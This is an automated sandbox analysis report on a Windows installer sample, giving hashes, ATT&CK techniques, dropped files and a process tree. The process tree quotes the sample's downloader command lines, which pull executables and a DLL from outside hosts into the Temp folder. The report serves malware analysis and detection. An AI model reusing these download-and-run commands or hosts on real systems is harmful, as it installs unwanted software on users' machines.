bc263dd8773d72e889c606578142387bcf35c2b4757a685b31173bbe3927cf80

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240910-en
resource tags

arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
submitted
11/09/2024, 14:54

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General

Target
da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe
Size 337KB
Sample240911-r99b4axbmd
SHA256 bc263dd8773d72e889c606578142387bcf35c2b4757a685b31173bbe3927cf80
MD5 da966d211ac4e34cb5ccf02f437e97c0
SHA1 ca51f8c7133a4139b731ecdbecfdb6fe65b8f03b
SHA512 8e835543b1bd8bb54f976e6839efa7a7a8ecf4ab25696358c91f4af775fa32c8a08acd212d70165988dfdd9f00f5f79b5aff01b148b32eb32fd024764459c0de
SSDEEP 6144:Ac63Az3Bobmw1ahEljQVdWwE1aW9Sl/Ch1COU557TQurTOJyaeuZ0yekQ6QbJWg:eGR8H1ahEb/1aW9+ahiTQu/OJyRuiyeS
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 7 IoCs

pid	Process
468	downloaderSTUB.exe
2016	downloaderSTUB.exe
3508	downloaderSTUB.exe
540	downloaderDDLR.exe
1096	downloaderOFFER1.exe
3780	downloaderOFFER1.exe
3960	preinstaller.exe

Loads dropped DLL 33 IoCs

pid	Process
2016	downloaderSTUB.exe
1096	downloaderOFFER1.exe
3780	downloaderOFFER1.exe
3508	downloaderSTUB.exe
540	downloaderDDLR.exe
468	downloaderSTUB.exe
2016	downloaderSTUB.exe
1096	downloaderOFFER1.exe
3780	downloaderOFFER1.exe
3508	downloaderSTUB.exe
540	downloaderDDLR.exe
468	downloaderSTUB.exe
2016	downloaderSTUB.exe
3780	downloaderOFFER1.exe
1096	downloaderOFFER1.exe
3508	downloaderSTUB.exe
468	downloaderSTUB.exe
540	downloaderDDLR.exe
2016	downloaderSTUB.exe
3780	downloaderOFFER1.exe
1096	downloaderOFFER1.exe
3508	downloaderSTUB.exe
468	downloaderSTUB.exe
540	downloaderDDLR.exe
540	downloaderDDLR.exe
3508	downloaderSTUB.exe
468	downloaderSTUB.exe
2016	downloaderSTUB.exe
1096	downloaderOFFER1.exe
3780	downloaderOFFER1.exe
540	downloaderDDLR.exe
3508	downloaderSTUB.exe
468	downloaderSTUB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderOFFER1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderOFFER1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	preinstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderSTUB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloaderDDLR.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023cb2-4.dat	nsis_installer_1
behavioral2/files/0x0007000000023cb2-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4016 wrote to memory of 468	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	84
PID 4016 wrote to memory of 468	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	84
PID 4016 wrote to memory of 468	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	84
PID 4016 wrote to memory of 2016	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	85
PID 4016 wrote to memory of 2016	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	85
PID 4016 wrote to memory of 2016	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	85
PID 4016 wrote to memory of 3508	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	86
PID 4016 wrote to memory of 3508	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	86
PID 4016 wrote to memory of 3508	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	86
PID 4016 wrote to memory of 540	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	87
PID 4016 wrote to memory of 540	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	87
PID 4016 wrote to memory of 540	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	87
PID 4016 wrote to memory of 1096	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	88
PID 4016 wrote to memory of 1096	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	88
PID 4016 wrote to memory of 1096	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	88
PID 4016 wrote to memory of 3780	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	89
PID 4016 wrote to memory of 3780	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	89
PID 4016 wrote to memory of 3780	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	89
PID 4016 wrote to memory of 3960	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	90
PID 4016 wrote to memory of 3960	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	90
PID 4016 wrote to memory of 3960	4016	da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe	90

C:\Users\Admin\AppData\Local\Temp\da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\da966d211ac4e34cb5ccf02f437e97c0_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4016
- C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:468
- C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2016
- C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3508
- C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:540
- C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\volcano.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1096
- C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\pricepeep.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3780
- C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\preinstaller.exe 0 "(japaneseporn)umd344avi" "Download"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

downloaderOFFER2.exe

Path C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\downloaderOFFER2.exe
Size 58KB
SHA256 fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24
MD5 c7f6ed56312c8fbb58ae6ed445c38df4
SHA1 e2dba94ef052db774478b9f7198c1a2298b334e5
SHA512 ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43
SSDEEP 1536:tLXB65939tY6HBg4sXJhweErCi/S8qcy4PLv:tLk395hYXJh0C6jy4z
MD5 SHA1 SHA512 SSDEEP

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preinstaller.exe

Path C:\Users\Admin\AppData\Local\Temp\5fb66b257bb22cbb28d84f41fd7f00c1\preinstaller.exe
Size 241KB
SHA256 f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb
MD5 9d8fe8bcc4c493b2fd1da8d2b07ba57c
SHA1 aa9366eb9210c8a5398b5e55921c92ce8970df5b
SHA512 3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216
SSDEEP 6144:gLZpiirZUwURUebtBGVBpBwXVUTL7E97IkXQxBRUoz0iYvF:4NYEVjBwXVwM9vylz3YvF
MD5 SHA1 SHA512 SSDEEP

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NSISdl.dll

Path C:\Users\Admin\AppData\Local\Temp\nsyE8F9.tmp\NSISdl.dll
Size 14KB
SHA256 dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9
MD5 a5f8399a743ab7f9c88c645c35b1ebb5
SHA1 168f3c158913b0367bf79fa413357fbe97018191
SHA512 824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977
SSDEEP 192:tUZTobBDJ68r67wmsvJI5ad9cXzFOVu+mZ/P3p+57CvpVqDxVp01Dwn2GRPgsfA:6Bo/680dCI5adOjFOg9//p27uNw2Go
MD5 SHA1 SHA512 SSDEEP

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memory/3960-52-0x0000000000400000-0x0000000000446000-memory.dmp

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memory/4016-51-0x0000000000400000-0x0000000000440000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads